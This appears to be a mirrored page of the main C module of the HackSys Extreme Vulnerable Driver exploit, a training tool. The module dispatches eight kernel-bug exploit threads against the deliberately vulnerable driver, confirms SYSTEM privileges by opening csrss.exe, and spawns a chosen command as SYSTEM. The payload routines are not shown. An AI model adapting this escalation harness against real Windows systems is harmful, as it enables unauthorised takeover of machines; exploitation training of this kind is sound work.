mirror of
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
synced 2026-06-08 14:31:02 +00:00
Ashfaq Ansari
290 lines
11 KiB
C
290 lines
11 KiB
C
/*++
|
|
|
|
/$$ /$$ /$$ /$$$$$$
|
|
| $$ | $$ | $$ /$$__ $$
|
|
| $$ | $$ /$$$$$$ /$$$$$$$| $$ /$$| $$ \__/ /$$ /$$ /$$$$$$$
|
|
| $$$$$$$$ |____ $$ /$$_____/| $$ /$$/| $$$$$$ | $$ | $$ /$$_____/
|
|
| $$__ $$ /$$$$$$$| $$ | $$$$$$/ \____ $$| $$ | $$| $$$$$$
|
|
| $$ | $$ /$$__ $$| $$ | $$_ $$ /$$ \ $$| $$ | $$ \____ $$
|
|
| $$ | $$| $$$$$$$| $$$$$$$| $$ \ $$| $$$$$$/| $$$$$$$ /$$$$$$$/
|
|
|__/ |__/ \_______/ \_______/|__/ \__/ \______/ \____ $$|_______/
|
|
/$$ | $$
|
|
| $$$$$$/
|
|
\______/
|
|
|
|
|
|
Copyright (C) 2010-2015 HackSys Team. All rights reserved.
|
|
|
|
This file is part of HackSys Extreme Vulnerable Driver Exploit.
|
|
|
|
See the file 'LICENSE' for copying permission.
|
|
|
|
Author : Ashfaq Ansari
|
|
Contact: ashfaq_ansari1989[at]hotmail.com
|
|
Website: http://hacksys.vfreaks.com
|
|
|
|
Project Name:
|
|
HackSys Extreme Vulnerable Driver Exploit
|
|
|
|
Module Name:
|
|
HackSysEVDExploit.c
|
|
|
|
Abstract:
|
|
This module implements the main routines to invoke
|
|
exploit for respective vulnerabilities.
|
|
|
|
TODO:
|
|
1. This exploit has only been designed for Windows 7 x86,
|
|
add support for x64.
|
|
2. Port the exploit to work on Windows 8.1/10, I know Null
|
|
Pointer Deference bug will be eliminated.
|
|
3. Test on multiple systems to determine reliability.
|
|
|
|
--*/
|
|
|
|
#include "HackSysEVDExploit.h"
|
|
|
|
CHAR *argv0;
|
|
|
|
static VOID ShowUsage(PTCHAR argv0) {
|
|
DEBUG_ERROR("\n"
|
|
"Usage: %s [option] -c [process to launch]\n\n"
|
|
" %s -a cmd.exe\n\n"
|
|
" [option]\n"
|
|
" -p : Pool Overflow\n"
|
|
" -s : Stack Overflow\n"
|
|
" -u : Use After Free\n"
|
|
" -t : Type Confusion\n"
|
|
" -i : Integer Overflow\n"
|
|
" -g : Stack Overflow GS\n"
|
|
" -n : Null Pointer Dereference\n"
|
|
" -a : Arbitrary Memory Overwrite\n"
|
|
"\n", argv0, argv0);
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
VOID LaunchExploitThread(LPTHREAD_START_ROUTINE lpExploitHandlerThread) {
|
|
HANDLE hThread = NULL;
|
|
DWORD threadTimeout = 0x50000;
|
|
|
|
// Create a new thread
|
|
DEBUG_MESSAGE("\t[+] Creating The Exploit Thread\n");
|
|
hThread = CreateThread(NULL, 0, lpExploitHandlerThread, NULL, 0, 0);
|
|
|
|
if (!hThread) {
|
|
DEBUG_ERROR("\t\t[-] Failed To Create Exploit Thread: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
else {
|
|
DEBUG_INFO("\t\t[+] Exploit Thread Handle: 0x%X\n", hThread);
|
|
}
|
|
|
|
if (WaitForSingleObject(hThread, threadTimeout)) {
|
|
// Terminate the thread
|
|
TerminateThread(hThread, EXIT_FAILURE);
|
|
DEBUG_INFO("\t\t[+] Terminated Exploit Thread: 0x%X\n", hThread);
|
|
}
|
|
}
|
|
|
|
BOOL IsProcessHavingHigherPrivilege(LPCSTR processToOpen) {
|
|
DWORD processID = 0;
|
|
HANDLE hProcess = NULL;
|
|
BOOL isHighPrivileged = FALSE;
|
|
|
|
DEBUG_MESSAGE("\t[+] Trying To Get Process ID Of: %s\n", processToOpen);
|
|
|
|
processID = GetProcessID(processToOpen);
|
|
|
|
if (!processID) {
|
|
DEBUG_ERROR("\t\t[-] Failed To Get Process ID Of: %s\n", processToOpen);
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
else {
|
|
DEBUG_INFO("\t\t[+] Process ID Of %s: %d\n", processToOpen, processID);
|
|
}
|
|
|
|
DEBUG_MESSAGE("\t[+] Trying To Open %s With PROCESS_ALL_ACCESS\n", processToOpen, processID);
|
|
|
|
// open the process to check the privilege level, if we are able
|
|
// to open any SYSTEM process, this means we have successfully
|
|
// elevated current process privileges
|
|
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
|
|
|
|
if (!hProcess) {
|
|
DEBUG_ERROR("\t\t[-] Failed To Open %s Process: 0x%X\n", processToOpen, GetLastError());
|
|
}
|
|
else {
|
|
DEBUG_INFO("\t\t[+] Process Handle Of %s: 0x%X\n", processToOpen, hProcess);
|
|
isHighPrivileged = TRUE;
|
|
}
|
|
|
|
return isHighPrivileged;
|
|
}
|
|
|
|
VOID Exploit(PEXPLOIT_VULNERABILITY pExploitVulnerability) {
|
|
DOUBLE elapsedTime = 0;
|
|
TIME startTime, finishTime;
|
|
STARTUPINFO startupInfo = {0};
|
|
PROCESS_INFORMATION processInformation = {0};
|
|
VULNERABILITY_TYPE vulnerabilityType = pExploitVulnerability->VulnerabilityType;
|
|
|
|
// Log the start time
|
|
startTime = time(NULL);
|
|
|
|
// Determine type of vulnerability to exploit
|
|
switch (vulnerabilityType) {
|
|
case PoolOverflow:
|
|
DEBUG_MESSAGE("[+] Starting Pool Overflow Exploitation\n");
|
|
LaunchExploitThread(&PoolOverflowThread);
|
|
DEBUG_MESSAGE("[+] Completed Pool Overflow Exploitation\n");
|
|
break;
|
|
case UseAfterFree:
|
|
DEBUG_MESSAGE("[+] Starting Use After Free Exploitation\n");
|
|
LaunchExploitThread(&UseAfterFreeThread);
|
|
DEBUG_MESSAGE("[+] Completed Use After Free Exploitation\n");
|
|
break;
|
|
case TypeConfusion:
|
|
DEBUG_MESSAGE("[+] Starting Type Confusion Exploitation\n");
|
|
LaunchExploitThread(&TypeConfusionThread);
|
|
DEBUG_MESSAGE("[+] Completed Type Confusion Exploitation\n");
|
|
break;
|
|
case StackOverflow:
|
|
DEBUG_MESSAGE("[+] Starting Stack Overflow Exploitation\n");
|
|
LaunchExploitThread(&StackOverflowThread);
|
|
DEBUG_MESSAGE("[+] Completed Stack Overflow Exploitation\n");
|
|
break;
|
|
case IntegerOverflow:
|
|
DEBUG_MESSAGE("[+] Starting Integer Overflow Exploitation\n");
|
|
LaunchExploitThread(&IntegerOverflowThread);
|
|
DEBUG_MESSAGE("[+] Completed Integer Overflow Exploitation\n");
|
|
break;
|
|
case StackOverflowGS:
|
|
DEBUG_MESSAGE("[+] Starting Stack Overflow GS Exploitation\n");
|
|
LaunchExploitThread(&StackOverflowGSThread);
|
|
DEBUG_MESSAGE("[+] Completed Stack Overflow GS Exploitation\n");
|
|
break;
|
|
case ArbitraryOverwrite:
|
|
DEBUG_MESSAGE("[+] Starting Arbitrary Memory Overwrite Exploitation\n");
|
|
LaunchExploitThread(&ArbitraryOverwriteThread);
|
|
DEBUG_MESSAGE("[+] Completed Arbitrary Memory Overwrite Exploitation\n");
|
|
break;
|
|
case NullPointerDereference:
|
|
DEBUG_MESSAGE("[+] Starting Null Pointer Dereference Exploitation\n");
|
|
LaunchExploitThread(&NullPointerDereferenceThread);
|
|
DEBUG_MESSAGE("[+] Completed Null Pointer Dereference Exploitation\n");
|
|
break;
|
|
}
|
|
|
|
DEBUG_MESSAGE("[+] Checking Current Process Privileges\n");
|
|
|
|
// verify if the privilege escalation was successful
|
|
if (!IsProcessHavingHigherPrivilege("csrss.exe")) {
|
|
DEBUG_ERROR("\t[-] Failed To Elevate Privileges Of Current Process\n");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
else {
|
|
DEBUG_MESSAGE("\t[+] Successfully Elevated Current Process Privileges\n");
|
|
}
|
|
|
|
startupInfo.wShowWindow = SW_SHOW;
|
|
startupInfo.cb = sizeof(STARTUPINFO);
|
|
startupInfo.dwFlags = STARTF_USESHOWWINDOW;
|
|
|
|
// Log the finish time
|
|
finishTime = time(NULL);
|
|
|
|
// Calculate the elapsed time
|
|
elapsedTime = difftime(finishTime, startTime);
|
|
|
|
DEBUG_MESSAGE("[+] Enjoy As SYSTEM [%f]s\n\n", elapsedTime);
|
|
|
|
if (!CreateProcess(NULL,
|
|
pExploitVulnerability->Command,
|
|
NULL,
|
|
NULL,
|
|
FALSE,
|
|
CREATE_NEW_CONSOLE,
|
|
NULL,
|
|
NULL,
|
|
&startupInfo,
|
|
&processInformation)) {
|
|
DEBUG_ERROR("[-] Failed to Create Target Process: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
WaitForSingleObject(processInformation.hProcess, INFINITE);
|
|
|
|
// Close the open handles
|
|
CloseHandle(processInformation.hThread);
|
|
CloseHandle(processInformation.hProcess);
|
|
}
|
|
|
|
|
|
INT main(UINT argc, PTCHAR argv[]) {
|
|
CONST PTCHAR banner =
|
|
" \n"
|
|
" # # ##### ####### \n"
|
|
" # # ## #### # # # # # # #### # ###### ## # #\n"
|
|
" # # # # # # # # # # # # # # # # ## ##\n"
|
|
" ####### # # # #### ##### # #### # ##### # # # ## #\n"
|
|
" # # ###### # # # # # # # # ###### # #\n"
|
|
" # # # # # # # # # # # # # # # # # # #\n"
|
|
" # # # # #### # # ##### # #### # ###### # # # #\n"
|
|
" \n"
|
|
" HackSys Extreme Vulnerable Driver Exploit \n"
|
|
" Ashfaq Ansari (@HackSysTeam) \n"
|
|
" ashfaq[at]payatu[dot]com \n"
|
|
" \n";
|
|
|
|
PTCHAR commandToExecute = NULL;
|
|
EXPLOIT_VULNERABILITY exploitVulnerability;
|
|
|
|
ClearScreen();
|
|
CenterConsoleScreen();
|
|
|
|
// Print the banner
|
|
DEBUG_SUCCESS(banner);
|
|
|
|
if (argc < 3) {
|
|
ShowUsage(argv[0]);
|
|
}
|
|
|
|
// Parse the command line arguments
|
|
ARGBEGIN {
|
|
case 'p':
|
|
exploitVulnerability.VulnerabilityType = PoolOverflow;
|
|
break;
|
|
case 'u':
|
|
exploitVulnerability.VulnerabilityType = UseAfterFree;
|
|
break;
|
|
case 't':
|
|
exploitVulnerability.VulnerabilityType = TypeConfusion;
|
|
break;
|
|
case 's':
|
|
exploitVulnerability.VulnerabilityType = StackOverflow;
|
|
break;
|
|
case 'i':
|
|
exploitVulnerability.VulnerabilityType = IntegerOverflow;
|
|
break;
|
|
case 'g':
|
|
exploitVulnerability.VulnerabilityType = StackOverflowGS;
|
|
break;
|
|
case 'a':
|
|
exploitVulnerability.VulnerabilityType = ArbitraryOverwrite;
|
|
break;
|
|
case 'n':
|
|
exploitVulnerability.VulnerabilityType = NullPointerDereference;
|
|
break;
|
|
case 'c':
|
|
exploitVulnerability.Command = EARGF(ShowUsage(argv[0]));
|
|
break;
|
|
default:
|
|
ShowUsage(argv[0]);
|
|
} ARGEND;
|
|
|
|
// Start the exploitation
|
|
Exploit(&exploitVulnerability);
|
|
|
|
return EXIT_SUCCESS;
|
|
}
|